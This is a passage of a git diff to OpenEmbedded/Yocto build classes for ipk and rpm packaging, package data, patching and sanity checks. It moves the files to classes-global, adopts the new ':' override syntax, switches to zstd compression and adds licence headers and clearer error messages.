+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -155,25 +166,30 @@ def ipk_write_pkg(pkg, d):
else:
ctrlfile.write(c % tuple(pullData(fs, localdata)))
- custom_fields_chunk = get_package_additional_metadata("ipk", localdata)
+ custom_fields_chunk = oe.packagedata.get_package_additional_metadata("ipk", localdata)
if custom_fields_chunk is not None:
ctrlfile.write(custom_fields_chunk)
ctrlfile.write("\n")
- mapping_rename_hook(localdata)
+ oe.packagedata.mapping_rename_hook(localdata)
def debian_cmp_remap(var):
# In debian '>' and '<' do not mean what it appears they mean
# '<' = less or equal
# '>' = greater or equal
# adjust these to the '<<' and '>>' equivalents
- #
+ # Also, "=" specifiers only work if they have the PR in, so 1.2.3 != 1.2.3-r0
+ # so to avoid issues, map this to ">= 1.2.3 << 1.2.3.0"
for dep in var:
for i, v in enumerate(var[dep]):
if (v or "").startswith("< "):
var[dep][i] = var[dep][i].replace("< ", "<< ")
elif (v or "").startswith("> "):
var[dep][i] = var[dep][i].replace("> ", ">> ")
+ elif (v or "").startswith("= ") and "-r" not in v:
+ ver = var[dep][i].replace("= ", "")
+ var[dep][i] = var[dep][i].replace("= ", ">= ")
+ var[dep].append("<< " + ver + ".0")
rdepends = bb.utils.explode_dep_versions2(localdata.getVar("RDEPENDS") or "")
debian_cmp_remap(rdepends)
@@ -214,7 +230,7 @@ def ipk_write_pkg(pkg, d):
scriptfile.close()
os.chmod(os.path.join(controldir, script), 0o755)
- conffiles_str = ' '.join(get_conffiles(pkg, d))
+ conffiles_str = ' '.join(oe.package.get_conffiles(pkg, d))
if conffiles_str:
conffiles = open(os.path.join(controldir, 'conffiles'), 'w')
for f in conffiles_str.split():
@@ -229,8 +245,8 @@ def ipk_write_pkg(pkg, d):
shell=True)
if d.getVar('IPK_SIGN_PACKAGES') == '1':
- ipkver = "%s-%s" % (d.getVar('PKGV'), d.getVar('PKGR'))
- ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, d.getVar('PACKAGE_ARCH'))
+ ipkver = "%s-%s" % (localdata.getVar('PKGV'), localdata.getVar('PKGR'))
+ ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, localdata.getVar('PACKAGE_ARCH'))
sign_ipk(d, ipk_to_sign)
finally:
@@ -261,9 +277,13 @@ addtask do_package_write_ipk_setscene
python () {
if d.getVar('PACKAGES') != '':
- deps = ' opkg-utils-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot xz-native:do_populate_sysroot'
+ deps = ' opkg-utils-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot zstd-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_ipk', 'depends', deps)
d.setVarFlag('do_package_write_ipk', 'fakeroot', "1")
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_ipk', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_ipk', 'rdeptask', "do_packagedata")
}
python do_package_write_ipk () {
@@ -272,11 +292,9 @@ python do_package_write_ipk () {
}
do_package_write_ipk[dirs] = "${PKGWRITEDIRIPK}"
do_package_write_ipk[cleandirs] = "${PKGWRITEDIRIPK}"
-do_package_write_ipk[umask] = "022"
do_package_write_ipk[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_ipk after do_packagedata do_package
+addtask package_write_ipk after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_ipk"
PACKAGEINDEXDEPS += "opkg-utils-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "opkg-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_ipk"
diff --git a/meta/classes/package_pkgdata.bbclass b/meta/classes-global/package_pkgdata.bbclass
index 18b7ed62e0..f653bd9240 100644
--- a/meta/classes/package_pkgdata.bbclass
+++ b/meta/classes-global/package_pkgdata.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
WORKDIR_PKGDATA = "${WORKDIR}/pkgdata-sysroot"
def package_populate_pkgdata_dir(pkgdatadir, d):
@@ -162,6 +168,6 @@ python package_prepare_pkgdata() {
}
package_prepare_pkgdata[cleandirs] = "${WORKDIR_PKGDATA}"
-package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA"
+package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA SSTATETASKS"
diff --git a/meta/classes/package_rpm.bbclass b/meta/classes-global/package_rpm.bbclass
index 519c22be47..2e3e4e8c79 100644
--- a/meta/classes/package_rpm.bbclass
+++ b/meta/classes-global/package_rpm.bbclass
@@ -1,13 +1,20 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit package
IMAGE_PKGTYPE ?= "rpm"
-RPM="rpm"
-RPMBUILD="rpmbuild"
+RPM = "rpm"
+RPMBUILD = "rpmbuild"
+RPMBUILD_COMPMODE ?= "${@'w19T%d.zstdio' % int(d.getVar('ZSTD_THREADS'))}"
PKGWRITEDIRRPM = "${WORKDIR}/deploy-rpms"
-# Maintaining the perfile dependencies has singificant overhead when writing the
+# Maintaining the perfile dependencies has significant overhead when writing the
# packages. When set, this value merges them for efficiency.
MERGEPERFILEDEPS = "1"
@@ -40,10 +47,10 @@ def write_rpm_perfiledata(srcname, d):
outfile.write("# Dependency table\n")
outfile.write('deps = {\n')
for pkg in packages.split():
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
deps = filter_nativesdk_deps(srcname, d.getVar(key) or "")
depends_dict = bb.utils.explode_dep_versions(deps)
file = dfile.replace("@underscore@", "_")
@@ -56,8 +63,8 @@ def write_rpm_perfiledata(srcname, d):
for dep in depends_dict:
ver = depends_dict[dep]
if dep and ver:
- ver = ver.replace("(","")
- ver = ver.replace(")","")
+ ver = ver.replace("(", "")
+ ver = ver.replace(")", "")
outfile.write(dep + " " + ver + " ")
else:
outfile.write(dep + " ")
@@ -96,11 +103,12 @@ def write_rpm_perfiledata(srcname, d):
python write_specfile () {
import oe.packagedata
+ import os,pwd,grp,stat
# append information for logs and patches to %prep
- def add_prep(d,spec_files_bottom):
+ def add_prep(d, spec_files_bottom):
if d.getVarFlag('ARCHIVER_MODE', 'srpm') == '1' and bb.data.inherits_class('archiver', d):
- spec_files_bottom.append('%%prep -n %s' % d.getVar('PN') )
+ spec_files_bottom.append('%%prep -n %s' % d.getVar('PN'))
spec_files_bottom.append('%s' % "echo \"include logs and patches, Please check them in SOURCES\"")
spec_files_bottom.append('')
@@ -113,7 +121,7 @@ python write_specfile () {
source_list = os.listdir(ar_outdir)
source_number = 0
for source in source_list:
- # do_deploy_archives may have already run (from sstate) meaning a .src.rpm may already
+ # do_deploy_archives may have already run (from sstate) meaning a .src.rpm may already
# exist in ARCHIVER_OUTDIR so skip if present.
if source.endswith(".src.rpm"):
continue
@@ -153,7 +161,9 @@ python write_specfile () {
pv = subd['PV']
pkgv = subd['PKGV']
reppv = pkgv.replace('-', '+')
- ver = ver.replace(pv, reppv).replace(pkgv, reppv)
+ if ver.startswith(pv):
+ ver = ver.replace(pv, reppv)
+ ver = ver.replace(pkgv, reppv)
if 'PKGR' in subd:
# Make sure PKGR rather than PR in ver
pr = '-' + subd['PR']
@@ -183,18 +193,35 @@ python write_specfile () {
def walk_files(walkpath, target, conffiles, dirfiles):
# We can race against the ipk/deb backends which create CONTROL or DEBIAN directories
- # when packaging. We just ignore these files which are created in
+ # when packaging. We just ignore these files which are created in
# packages-split/ and not package/
# We have the odd situation where the CONTROL/DEBIAN directory can be removed in the middle of
# of the walk, the isdir() test would then fail and the walk code would assume its a file
# hence we check for the names in files too.
for rootpath, dirs, files in os.walk(walkpath):
+ def get_attr(path):
+ stat_f = os.stat(rootpath + "/" + path, follow_symlinks=False)
+ mode = stat.S_IMODE(stat_f.st_mode)
+ try:
+ owner = pwd.getpwuid(stat_f.st_uid).pw_name
+ except Exception as e:
+ bb.error("Content of /etc/passwd in sysroot:\n{}".format(
+ open(d.getVar("RECIPE_SYSROOT") +"/etc/passwd").read()))
+ raise e
+ try:
+ group = grp.getgrgid(stat_f.st_gid).gr_name
+ except Exception as e:
+ bb.error("Content of /etc/group in sysroot:\n{}".format(
+ open(d.getVar("RECIPE_SYSROOT") +"/etc/group").read()))
+ raise e
+ return "%attr({:o},{},{}) ".format(mode, owner, group)
+
+ def escape_chars(p):
+ return p.replace("%", "%%").replace("\\", "\\\\").replace('"', '\\"')
+
path = rootpath.replace(walkpath, "")
if path.endswith("DEBIAN") or path.endswith("CONTROL"):
continue
- path = path.replace("%", "%%%%%%%%")
- path = path.replace("[", "?")
- path = path.replace("]", "?")
# Treat all symlinks to directories as normal files.
# os.walk() lists them as directories.
@@ -213,29 +240,25 @@ python write_specfile () {
for dir in dirs:
if dir == "CONTROL" or dir == "DEBIAN":
continue
- dir = dir.replace("%", "%%%%%%%%")
- dir = dir.replace("[", "?")
- dir = dir.replace("]", "?")
+ p = path + '/' + dir
# All packages own the directories their files are in...
- target.append('%dir "' + path + '/' + dir + '"')
- else:
+ target.append(get_attr(dir) + '%dir "' + escape_chars(p) + '"')
+ elif path:
# packages own only empty directories or explict directory.
# This will prevent the overlapping of security permission.
- if path and not files and not dirs:
- target.append('%dir "' + path + '"')
- elif path and path in dirfiles:
- target.append('%dir "' + path + '"')
+ attr = get_attr(path)
+ if (not files and not dirs) or path in dirfiles:
+ target.append(attr + '%dir "' + escape_chars(path) + '"')
for file in files:
if file == "CONTROL" or file == "DEBIAN":
continue
- file = file.replace("%", "%%%%%%%%")
- file = file.replace("[", "?")
- file = file.replace("]", "?")
- if conffiles.count(path + '/' + file):
- target.append('%config "' + path + '/' + file + '"')
+ attr = get_attr(file)
+ p = path + '/' + file
+ if conffiles.count(p):
+ target.append(attr + '%config "' + escape_chars(p) + '"')
else:
- target.append('"' + path + '/' + file + '"')
+ target.append(attr + '"' + escape_chars(p) + '"')
# Prevent the prerm/postrm scripts from being run during an upgrade
def wrap_uninstall(scriptvar):
@@ -249,10 +272,10 @@ python write_specfile () {
def get_perfile(varname, pkg, d):
deps = []
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
depends = d.getVar(key)
if depends:
deps.append(depends)
@@ -297,16 +320,16 @@ python write_specfile () {
srcmaintainer = localdata.getVar('MAINTAINER')
srchomepage = localdata.getVar('HOMEPAGE')
srcdescription = localdata.getVar('DESCRIPTION') or "."
- srccustomtagschunk = get_package_additional_metadata("rpm", localdata)
+ srccustomtagschunk = oe.packagedata.get_package_additional_metadata("rpm", localdata)
srcdepends = d.getVar('DEPENDS')
- srcrdepends = []
- srcrrecommends = []
- srcrsuggests = []
- srcrprovides = []
- srcrreplaces = []
- srcrconflicts = []
- srcrobsoletes = []
+ srcrdepends = ""
+ srcrrecommends = ""
+ srcrsuggests = ""
+ srcrprovides = ""
+ srcrreplaces = ""
+ srcrconflicts = ""
+ srcrobsoletes = ""
srcrpreinst = []
srcrpostinst = []
@@ -332,14 +355,14 @@ python write_specfile () {
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + pkg)
- conffiles = get_conffiles(pkg, d)
+ conffiles = oe.package.get_conffiles(pkg, d)
dirfiles = localdata.getVar('DIRFILES')
if dirfiles is not None:
dirfiles = dirfiles.split()
@@ -353,7 +376,7 @@ python write_specfile () {
splitlicense = (localdata.getVar('LICENSE') or "")
splitsection = (localdata.getVar('SECTION') or "")
splitdescription = (localdata.getVar('DESCRIPTION') or ".")
- splitcustomtagschunk = get_package_additional_metadata("rpm", localdata)
+ splitcustomtagschunk = oe.packagedata.get_package_additional_metadata("rpm", localdata)
translate_vers('RDEPENDS', localdata)
translate_vers('RRECOMMENDS', localdata)
@@ -363,15 +386,15 @@ python write_specfile () {
translate_vers('RCONFLICTS', localdata)
# Map the dependencies into their final form
- mapping_rename_hook(localdata)
+ oe.packagedata.mapping_rename_hook(localdata)
- splitrdepends = localdata.getVar('RDEPENDS')
- splitrrecommends = localdata.getVar('RRECOMMENDS')
- splitrsuggests = localdata.getVar('RSUGGESTS')
- splitrprovides = localdata.getVar('RPROVIDES')
- splitrreplaces = localdata.getVar('RREPLACES')
- splitrconflicts = localdata.getVar('RCONFLICTS')
- splitrobsoletes = []
+ splitrdepends = localdata.getVar('RDEPENDS') or ""
+ splitrrecommends = localdata.getVar('RRECOMMENDS') or ""
+ splitrsuggests = localdata.getVar('RSUGGESTS') or ""
+ splitrprovides = localdata.getVar('RPROVIDES') or ""
+ splitrreplaces = localdata.getVar('RREPLACES') or ""
+ splitrconflicts = localdata.getVar('RCONFLICTS') or ""
+ splitrobsoletes = ""
splitrpreinst = localdata.getVar('pkg_preinst')
splitrpostinst = localdata.getVar('pkg_postinst')
@@ -439,13 +462,13 @@ python write_specfile () {
spec_preamble_bottom.append(splitcustomtagschunk)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(splitrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(splitrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(splitrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(splitrreplaces)
for dep in rreplaces:
- if not dep in robsoletes:
+ if dep not in robsoletes:
robsoletes[dep] = rreplaces[dep]
- if not dep in rprovides:
+ if dep not in rprovides:
rprovides[dep] = rreplaces[dep]
splitrobsoletes = bb.utils.join_deps(robsoletes, commasep=False)
splitrprovides = bb.utils.join_deps(rprovides, commasep=False)
@@ -515,8 +538,8 @@ python write_specfile () {
spec_files_bottom.append('')
del localdata
-
- add_prep(d,spec_files_bottom)
+
+ add_prep(d, spec_files_bottom)
spec_preamble_top.append('Summary: %s' % srcsummary)
spec_preamble_top.append('Name: %s' % srcname)
spec_preamble_top.append('Version: %s' % srcversion)
@@ -533,13 +556,13 @@ python write_specfile () {
tail_source(d)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(srcrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(srcrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(srcrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(srcrreplaces)
for dep in rreplaces:
- if not dep in robsoletes:
+ if dep not in robsoletes:
robsoletes[dep] = rreplaces[dep]
- if not dep in rprovides:
+ if dep not in rprovides:
rprovides[dep] = rreplaces[dep]
srcrobsoletes = bb.utils.join_deps(robsoletes, commasep=False)
srcrprovides = bb.utils.join_deps(rprovides, commasep=False)
@@ -557,7 +580,7 @@ python write_specfile () {
print_deps(srcrrecommends, "Recommends", spec_preamble_top, d)
print_deps(srcrsuggests, "Suggests", spec_preamble_top, d)
- print_deps(srcrprovides + (" /bin/sh" if srcname.startswith("nativesdk-") else ""), "Provides", spec_preamble_top, d)
+ print_deps(srcrprovides, "Provides", spec_preamble_top, d)
print_deps(srcrobsoletes, "Obsoletes", spec_preamble_top, d)
print_deps(srcrconflicts, "Conflicts", spec_preamble_top, d)
@@ -631,7 +654,6 @@ python do_package_rpm () {
workdir = d.getVar('WORKDIR')
tmpdir = d.getVar('TMPDIR')
pkgd = d.getVar('PKGD')
- pkgdest = d.getVar('PKGDEST')
if not workdir or not pkgd or not tmpdir:
bb.error("Variables incorrectly set, unable to package")
return
@@ -642,7 +664,7 @@ python do_package_rpm () {
return
# Construct the spec file...
- # If the spec file already exist, and has not been stored into
+ # If the spec file already exist, and has not been stored into
# pseudo's files.db, it maybe cause rpmbuild src.rpm fail,
# so remove it before doing rpmbuild src.rpm.
srcname = d.getVar('PN')
@@ -658,8 +680,8 @@ python do_package_rpm () {
# Setup the rpmbuild arguments...
rpmbuild = d.getVar('RPMBUILD')
- targetsys = d.getVar('TARGET_SYS')
- targetvendor = d.getVar('HOST_VENDOR')
+ rpmbuild_compmode = d.getVar('RPMBUILD_COMPMODE')
+ rpmbuild_extra_params = d.getVar('RPMBUILD_EXTRA_PARAMS') or ""
# Too many places in dnf stack assume that arch-independent packages are "noarch".
# Let's not fight against this.
@@ -667,7 +689,6 @@ python do_package_rpm () {
if package_arch == "all":
package_arch = "noarch"
- sdkpkgsuffix = (d.getVar('SDKPKGSUFFIX') or "nativesdk").replace("-", "_")
d.setVar('PACKAGE_ARCH_EXTEND', package_arch)
pkgwritedir = d.expand('${PKGWRITEDIRRPM}/${PACKAGE_ARCH_EXTEND}')
d.setVar('RPM_PKGWRITEDIR', pkgwritedir)
@@ -684,10 +705,12 @@ python do_package_rpm () {
cmd = cmd + " --define '_use_internal_dependency_generator 0'"
cmd = cmd + " --define '_binaries_in_noarch_packages_terminate_build 0'"
cmd = cmd + " --define '_build_id_links none'"
- cmd = cmd + " --define '_binary_payload w6T.xzdio'"
- cmd = cmd + " --define '_source_payload w6T.xzdio'"
+ cmd = cmd + " --define '_source_payload %s'" % rpmbuild_compmode
+ cmd = cmd + " --define '_binary_payload %s'" % rpmbuild_compmode
cmd = cmd + " --define 'clamp_mtime_to_source_date_epoch 1'"
+ cmd = cmd + " --define 'use_source_date_epoch_as_buildtime 1'"
cmd = cmd + " --define '_buildhost reproducible'"
+ cmd = cmd + " --define '__font_provides %{nil}'"
if perfiledeps:
cmd = cmd + " --define '__find_requires " + outdepends + "'"
cmd = cmd + " --define '__find_provides " + outprovides + "'"
@@ -697,6 +720,10 @@ python do_package_rpm () {
cmd = cmd + " --define '_unpackaged_files_terminate_build 0'"
cmd = cmd + " --define 'debug_package %{nil}'"
cmd = cmd + " --define '_tmppath " + workdir + "'"
+ cmd = cmd + " --define '_use_weak_usergroup_deps 1'"
+ cmd = cmd + " --define '_passwd_path " + "/completely/bogus/path" + "'"
+ cmd = cmd + " --define '_group_path " + "/completely/bogus/path" + "'"
+ cmd = cmd + rpmbuild_extra_params
if d.getVarFlag('ARCHIVER_MODE', 'srpm') == '1' and bb.data.inherits_class('archiver', d):
cmd = cmd + " --define '_sourcedir " + d.getVar('ARCHIVER_OUTDIR') + "'"
cmdsrpm = cmd + " --define '_srcrpmdir " + d.getVar('ARCHIVER_RPMOUTDIR') + "'"
@@ -724,6 +751,10 @@ python () {
deps = ' rpm-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_rpm', 'depends', deps)
d.setVarFlag('do_package_write_rpm', 'fakeroot', '1')
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_rpm', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_rpm', 'rdeptask', "do_packagedata")
}
SSTATETASKS += "do_package_write_rpm"
@@ -745,11 +776,9 @@ python do_package_write_rpm () {
do_package_write_rpm[dirs] = "${PKGWRITEDIRRPM}"
do_package_write_rpm[cleandirs] = "${PKGWRITEDIRRPM}"
-do_package_write_rpm[umask] = "022"
do_package_write_rpm[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_rpm after do_packagedata do_package
+addtask package_write_rpm after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_rpm"
PACKAGEINDEXDEPS += "rpm-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "createrepo-c-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_rpm"
diff --git a/meta/classes/packagedata.bbclass b/meta/classes-global/packagedata.bbclass
index a903e5cfd2..9f72c01d77 100644
--- a/meta/classes/packagedata.bbclass
+++ b/meta/classes-global/packagedata.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
python read_subpackage_metadata () {
import oe.packagedata
@@ -24,10 +30,10 @@ python read_subpackage_metadata () {
continue
#
# If we set unsuffixed variables here there is a chance they could clobber override versions
- # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION_<pkgname>
+ # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION:<pkgname>
# We therefore don't clobber for the unsuffixed variable versions
#
- if key.endswith("_" + pkg):
+ if key.endswith(":" + pkg):
d.setVar(key, sdata[key])
else:
d.setVar(key, sdata[key], parsing=True)
diff --git a/meta/classes/patch.bbclass b/meta/classes-global/patch.bbclass
index 25ec089ae1..e5786b1c9a 100644
--- a/meta/classes/patch.bbclass
+++ b/meta/classes-global/patch.bbclass
@@ -1,4 +1,6 @@
# Copyright (C) 2006 OpenedHand LTD
+#
+# SPDX-License-Identifier: MIT
# Point to an empty file so any user's custom settings don't break things
QUILTRCFILE ?= "${STAGING_ETCDIR_NATIVE}/quiltrc"
@@ -10,7 +12,7 @@ PATCHDEPENDENCY = "${PATCHTOOL}-native:do_populate_sysroot"
# http://git.savannah.gnu.org/cgit/patch.git/patch/?id=82b800c9552a088a241457948219d25ce0a407a4
# This leaks into debug sources in particular. Add the dependency
# to target recipes to avoid this problem until we can rely on 2.7.4 or later.
-PATCHDEPENDENCY_append_class-target = " patch-replacement-native:do_populate_sysroot"
+PATCHDEPENDENCY:append:class-target = " patch-replacement-native:do_populate_sysroot"
PATCH_GIT_USER_NAME ?= "OpenEmbedded"
PATCH_GIT_USER_EMAIL ?= "oe.patch@oe"
@@ -77,9 +79,7 @@ python patch_task_postfunc() {
bb.process.run('git checkout patches', cwd=srcsubdir)
stdout, _ = bb.process.run('git status --porcelain .', cwd=srcsubdir)
if stdout:
- useroptions = []
- oe.patch.GitApplyTree.gitCommandUserOptions(useroptions, d=d)
- bb.process.run('git add .; git %s commit -a -m "Committing changes from %s\n\n%s"' % (' '.join(useroptions), func, oe.patch.GitApplyTree.ignore_commit_prefix + ' - from %s' % func), cwd=srcsubdir)
+ oe.patch.GitApplyTree.commitIgnored("Add changes from %s" % func, dir=srcsubdir, files=['.'], d=d)
}
def src_patches(d, all=False, expand=True):
@@ -131,6 +131,9 @@ python patch_do_patch() {
patchdir = parm["patchdir"]
if not os.path.isabs(patchdir):
patchdir = os.path.join(s, patchdir)
+ if not os.path.isdir(patchdir):
+ bb.fatal("Target directory '%s' not found, patchdir '%s' is incorrect in patch file '%s'" %
+ (patchdir, parm["patchdir"], parm['patchname']))
else:
patchdir = s
@@ -147,12 +150,12 @@ python patch_do_patch() {
patchset.Import({"file":local, "strippath": parm['striplevel']}, True)
except Exception as exc:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(exc))
+ bb.fatal("Importing patch '%s' with striplevel '%s'\n%s" % (parm['patchname'], parm['striplevel'], repr(exc).replace("\\n", "\n")))
try:
resolver.Resolve()
except bb.BBHandledException as e:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(e))
+ bb.fatal("Applying patch '%s' on target directory '%s'\n%s" % (parm['patchname'], patchdir, repr(e).replace("\\n", "\n")))
bb.utils.remove(process_tmpdir, True)
del os.environ['TMPDIR']
@@ -160,7 +163,6 @@ python patch_do_patch() {
patch_do_patch[vardepsexclude] = "PATCHRESOLVE"
addtask patch after do_unpack
-do_patch[umask] = "022"
do_patch[dirs] = "${WORKDIR}"
do_patch[depends] = "${PATCHDEPENDENCY}"
diff --git a/meta/classes/sanity.bbclass b/meta/classes-global/sanity.bbclass
index e021b9d240..180c6b77d8 100644
--- a/meta/classes/sanity.bbclass
+++ b/meta/classes-global/sanity.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# Sanity check the users setup for common misconfigurations
#
@@ -34,9 +40,9 @@ BBLAYERS_CONF_UPDATE_FUNCS += " \
conf/site.conf:SCONF_VERSION:SITE_CONF_VERSION:oecore_update_siteconf \
"
-SANITY_DIFF_TOOL ?= "meld"
+SANITY_DIFF_TOOL ?= "diff -u"
-SANITY_LOCALCONF_SAMPLE ?= "${COREBASE}/meta*/conf/local.conf.sample"
+SANITY_LOCALCONF_SAMPLE ?= "${COREBASE}/meta*/conf/templates/default/local.conf.sample"
python oecore_update_localconf() {
# Check we are using a valid local.conf
current_conf = d.getVar('CONF_VERSION')
@@ -56,7 +62,7 @@ is a good way to visualise the changes."""
raise NotImplementedError(failmsg)
}
-SANITY_SITECONF_SAMPLE ?= "${COREBASE}/meta*/conf/site.conf.sample"
+SANITY_SITECONF_SAMPLE ?= "${COREBASE}/meta*/conf/templates/default/site.conf.sample"
python oecore_update_siteconf() {
# If we have a site.conf, check it's valid
current_sconf = d.getVar('SCONF_VERSION')
@@ -76,7 +82,7 @@ is a good way to visualise the changes."""
raise NotImplementedError(failmsg)
}
-SANITY_BBLAYERCONF_SAMPLE ?= "${COREBASE}/meta*/conf/bblayers.conf.sample"
+SANITY_BBLAYERCONF_SAMPLE ?= "${COREBASE}/meta*/conf/templates/default/bblayers.conf.sample"
python oecore_update_bblayers() {
# bblayers.conf is out of date, so see if we can resolve that
@@ -185,37 +191,6 @@ def raise_sanity_error(msg, d, network_error=False):
%s""" % msg)
-# Check flags associated with a tuning.
-def check_toolchain_tune_args(data, tune, multilib, errs):
- found_errors = False
- if check_toolchain_args_present(data, tune, multilib, errs, 'CCARGS'):
- found_errors = True
- if check_toolchain_args_present(data, tune, multilib, errs, 'ASARGS'):
- found_errors = True
- if check_toolchain_args_present(data, tune, multilib, errs, 'LDARGS'):
- found_errors = True
-
- return found_errors
-
-def check_toolchain_args_present(data, tune, multilib, tune_errors, which):
- args_set = (data.getVar("TUNE_%s" % which) or "").split()
- args_wanted = (data.getVar("TUNEABI_REQUIRED_%s_tune-%s" % (which, tune)) or "").split()
- args_missing = []
-
- # If no args are listed/required, we are done.
- if not args_wanted:
- return
- for arg in args_wanted:
- if arg not in args_set:
- args_missing.append(arg)
-
- found_errors = False
- if args_missing:
- found_errors = True
- tune_errors.append("TUNEABI for %s requires '%s' in TUNE_%s (%s)." %
- (tune, ' '.join(args_missing), which, ' '.join(args_set)))
- return found_errors
-
# Check a single tune for validity.
def check_toolchain_tune(data, tune, multilib):
tune_errors = []
@@ -227,7 +202,7 @@ def check_toolchain_tune(data, tune, multilib):
overrides = localdata.getVar("OVERRIDES", False) + ":virtclass-multilib-" + multilib
localdata.setVar("OVERRIDES", overrides)
bb.debug(2, "Sanity-checking tuning '%s' (%s) features:" % (tune, multilib))
- features = (localdata.getVar("TUNE_FEATURES_tune-%s" % tune) or "").split()
+ features = (localdata.getVar("TUNE_FEATURES:tune-%s" % tune) or "").split()
if not features:
return "Tuning '%s' has no defined features, and cannot be used." % tune
valid_tunes = localdata.getVarFlags('TUNEVALID') or {}
@@ -247,17 +222,6 @@ def check_toolchain_tune(data, tune, multilib):
bb.debug(2, " %s: %s" % (feature, valid_tunes[feature]))
else:
tune_errors.append("Feature '%s' is not defined." % feature)
- whitelist = localdata.getVar("TUNEABI_WHITELIST")
- if whitelist:
- tuneabi = localdata.getVar("TUNEABI_tune-%s" % tune)
- if not tuneabi:
- tuneabi = tune
- if True not in [x in whitelist.split() for x in tuneabi.split()]:
- tune_errors.append("Tuning '%s' (%s) cannot be used with any supported tuning/ABI." %
- (tune, tuneabi))
- else:
- if not check_toolchain_tune_args(localdata, tuneabi, multilib, tune_errors):
- bb.debug(2, "Sanity check: Compiler args OK for %s." % tune)
if tune_errors:
return "Tuning '%s' has the following errors:\n" % tune + '\n'.join(tune_errors)
@@ -281,7 +245,7 @@ def check_toolchain(data):
seen_libs.append(lib)
if not lib in global_multilibs:
tune_error_set.append("Multilib %s is not present in MULTILIB_GLOBAL_VARIANTS" % lib)
- tune = data.getVar("DEFAULTTUNE_virtclass-multilib-%s" % lib)
+ tune = data.getVar("DEFAULTTUNE:virtclass-multilib-%s" % lib)
if tune in seen_tunes:
tune_error_set.append("The tuning '%s' appears in more than one multilib." % tune)
else:
@@ -392,9 +356,13 @@ def check_connectivity(d):
msg = data.getVar('CONNECTIVITY_CHECK_MSG') or ""
if len(msg) == 0:
msg = "%s.\n" % err
- msg += " Please ensure your host's network is configured correctly,\n"
- msg += " or set BB_NO_NETWORK = \"1\" to disable network access if\n"
- msg += " all required sources are on local disk.\n"
+ msg += " Please ensure your host's network is configured correctly.\n"
+ msg += " Please ensure CONNECTIVITY_CHECK_URIS is correct and specified URIs are available.\n"
+ msg += " If your ISP or network is blocking the above URL,\n"
+ msg += " try with another domain name, for example by setting:\n"
+ msg += " CONNECTIVITY_CHECK_URIS = \"https://www.example.com/\""
